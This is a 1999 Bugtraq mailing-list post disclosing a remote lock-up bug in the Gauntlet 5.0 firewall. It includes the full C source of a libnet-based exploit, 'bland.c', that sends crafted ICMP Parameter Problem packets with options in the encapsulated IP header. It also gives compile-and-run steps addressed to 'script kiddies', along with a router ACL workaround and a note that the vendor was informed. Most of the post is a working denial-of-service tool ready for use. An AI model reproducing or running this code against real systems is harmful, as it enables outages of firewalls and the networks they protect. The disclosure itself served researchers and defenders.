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List:       bugtraq
Subject:    Remotely Lock Up Gauntlet 5.0
From:       Mike Frantzen <frantzen () expert ! cc ! purdue ! edu>
Date:       1999-07-30 16:03:07
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/*
 * Discovered and written by:  <godot@msg.net>          <- Send money to :-)
 *     aka     Mike Frantzen   <frantzen@expert.cc.purdue.edu>  <- Reply to
 *
 * Network Associates:  "Who's watching your network?"
 * MSG.net              "Who's watching the watchers?"
 *
 * This can be found online at http://www.msg.net/firewalls/tis/bland.c
 *
 * Description:
 *  If you know an IP that will be routed through a Gauntlet 5.0 Firewall,
 *  you can remotely lock up the firewall (tested against Solaris 2.6 and
 *  BSDI).  It locks up to the point that one packet will disable STOP-A
 *  (L1-A) on Sparcs and ~3-5 packets will disable Ctrl-Alt-Del on BSDI
 *  (Ctrl-Alt-Del still prompts Y/N but it never reboots).
 *
 *  **You can NOT send this to the Gauntlet's IP.  The packet must be one
 *  **that would go through the forwarding code.
 *
 *  If you are on local ether to the firewall, set it as your default route
 *  or otherwise send the packet to the firewall's MAC.
 *
 *  The packet is parsed before the packet filtering rules in Gauntlet.  So
 *  the only known work-around is to ACL out ICMP type 12 at your screening
 *  router.
 *  Or you could switch to Gauntlet 5.5 which (in the beta) does not seem to
 *  be vulnerable -- but 5.5 introduces some new 'issues'.
 *
 *
 * Technical Description of the packet:
 *  The packet is an ICMP Paramater Problem packet that encapsulates an IP
 *  packet with IP Options.  There is a random protocol in the encapsulated
 *  IP packet.  The trick is:  the inner packet MUST have IP Options.  Some
 *  options work, some don't.
 *  The firewall apparently is looking for the packet (or an entry in its
 *  transparency table) that matches the encapsulated packet.  It just keeps
 *  looking....  It likely has interrupts masked off on Solaris.
 *
 *
 * You need libnet to link this against.  It's a pretty spiffy lib.
 *   http://www.infonexus.com/~daemon9/Projects/Libnet
 *   http://www.packetfactory.net/libnet
 *
 *
 * For da script kiddies:
 *   Compile with 'gcc -o bland bland.c -lnet'
 *   ./bland -d <ip through the firewall>
 *   (Did you remember to install Libnet???)
 *
 *
 * If it doesn't compile on your machine:  I DON'T CARE!!!  This program was
 * a quick and dirty hack.  You try reading a hexdump of a packet off the
 * wire and writing something that can reproduce it.
 * I know it compiles and works from FreeBSD 3.1
 *
 *
 * Network Associates (TIS) was notified two weeks ago and they are working
 * on a patch.
 *
 *
 * Plugs:
 *  ISIC --  Program I used (and wrote) to find bugs in Gauntlet's IP stack.
 *           http://expert.cc.purdue.edu/~frantzen/isic-0.02.tar.gz
 *  Libnet --  Was able to write the basic exploit in 20 minutes because of
 *           libnet.  See libnet link above.  Thanks go out to Route!
 *
 *
 * Credits:
 *  Mike Frantzen <frantzen@expert.cc.purdue.edu>	Hey, thats me!
 *  Mike Scher <strange@cultural.com>
 *  Kevin Kadow <kadokev@msg.net>	      <-  Gauntlet Random Seed Hole
 *  Lenard Lynch <llynch@tribune.com>
 *  Viki Navratilova <vn@msg.net>
 */

#include <libnet.h>

int main(int argc, char **argv)
{
	u_long src_ip = 0, dst_ip = 0, ins_src_ip = 0, ins_dst_ip = 0;
	u_long *problem = NULL;
	u_char *packet = NULL;
	int sock, c, len = 0;
	long acx, count = 1;
	struct icmp *icmp;
	struct ip *ip;

	/* It appears that most IP options of length >0 will work
	 * Works with 128, 64, 32, 16...  And the normal ones 137...
	 * Does not work with 0, 1 */
	u_char data[] = {137};
	int data_len = sizeof(data);

	printf("Written by Mike Frantzen...  <godot@msg.net>\n");
	printf("For test purposes only... yada yada yada...\n");

	src_ip = inet_addr("10.10.10.10");

	while ( (c = getopt(argc, argv, "d:s:D:S:l:c:")) != EOF ) {
	  switch(c) {
		case 'd':	dst_ip = libnet_name_resolve(optarg, 1);
				break;
		case 's':	src_ip = libnet_name_resolve(optarg, 1);
				break;
		case 'D':	ins_dst_ip = name_resolve(optarg, 1);
				break;
		case 'S':	ins_src_ip = name_resolve(optarg, 1);
				break;
		case 'l':	data_len = atoi(optarg);
				break;
		case 'c':	if ( (count = atol(optarg)) < 1)
					count = 1;
				break;
		default:	printf("Don't understand option.\n");
				exit(-1);
	  }
	}

	if ( dst_ip == 0 ) {
	    printf("Usage: %s\t -d <destination IP>\t[-s <source IP>]\n",
		rindex(argv[0], '/') == NULL ? argv[0]
					: rindex(argv[0], '/') + 1);
	    printf("\t\t[-S <inner source IP>]\t[-D <inner dest IP>]\n");
	    printf("\t\t[-l <data length>]\t[-c <# to send>]\n");
	    exit(-1);
	}

	if ( ins_dst_ip == 0 )
		ins_dst_ip = src_ip;
	if ( ins_src_ip == 0 )
		ins_src_ip = dst_ip;

	if ( (packet = malloc(1500)) == NULL ) {
		perror("malloc: ");
		exit(-1);
	}
	if ( (sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1 ) {
        	perror("socket: ");
        	exit(-1);
	}

	/* 8 is the length of the ICMP header with the problem field */
	len = 8 + IP_H + data_len;
	bzero(packet + IP_H, len);

        libnet_build_ip(len,                    /* Size of the payload */
                0xc2,                           /* IP tos */
                30241,                          /* IP ID */
                0,                              /* Frag Offset & Flags */
                64,                             /* TTL */
                IPPROTO_ICMP,                   /* Transport protocol */
                src_ip,                         /* Source IP */
                dst_ip,                         /* Destination IP */
                NULL,                           /* Pointer to payload */
                0,
                packet);                        /* Packet memory */


	/* ICMP Header for Parameter Problem
	 * --------------+---------------+---------------+---------------
	 *| Type (12)	 |    Code (0)	 |	Checksum		 |
	 * --------------+---------------+---------------+---------------
	 *| Pointer	 |		unused				 |
	 * --------------+---------------+---------------+---------------
	 * Internet Header + 64 bits of original datagram data....
	 */

	icmp = (struct icmp *) (packet + IP_H);
	problem = (u_long *) (packet + IP_H + 4);  /* 4 = ICMP header  */
	icmp->icmp_type	= ICMP_PARAMPROB;
	icmp->icmp_code	= 0;		/* Indicates a problem pointer */
	*problem = htonl(0x14000000);	/* Problem is 20 bytes into it */


	/* Need to embed an IP packet within the ICMP */
	ip = (struct ip *) (packet + IP_H + 8);	/* 8 = icmp header	*/
	ip->ip_v	= 0x4;			/* IPV4			*/
	ip->ip_hl	= 0xf;			/* Some IP Options	*/
	ip->ip_tos	= 0xa3;			/* Whatever		*/
	ip->ip_len	= htons(data_len);	/* Length of packet	*/
	ip->ip_id	= 30241;		/* Whatever		*/
	ip->ip_off	= 0;			/* No frag's		*/
	ip->ip_ttl	= 32;			/* Whatever		*/
	ip->ip_p	= 98;			/* Random protocol	*/
	ip->ip_sum	= 0;			/* Will calc later	*/
	ip->ip_src.s_addr = ins_src_ip;
	ip->ip_dst.s_addr = ins_dst_ip;

	/* Move our data block into the packet */
	bcopy(data, (void *) (packet + IP_H + IP_H + 8), data_len);

	/* I hate checksuming.  Spent a day trying to get it to work in
	 * perl...  That sucked...  Tequilla would have helped immensly.
	 */
	libnet_do_checksum((unsigned char *) ip, IPPROTO_IP, data_len);

	/* Bah...  See above comment.... */
	libnet_do_checksum(packet, IPPROTO_ICMP, len);


	printf("Sending %li packets", count);
	for (acx = 0; acx < count; acx++) {
	   if( libnet_write_ip(sock, packet, len + IP_H)  < (len + IP_H))
 		perror("write_ip: ");
	   else printf(".");
	}
	printf("\n\n");
	return( 0 );
}

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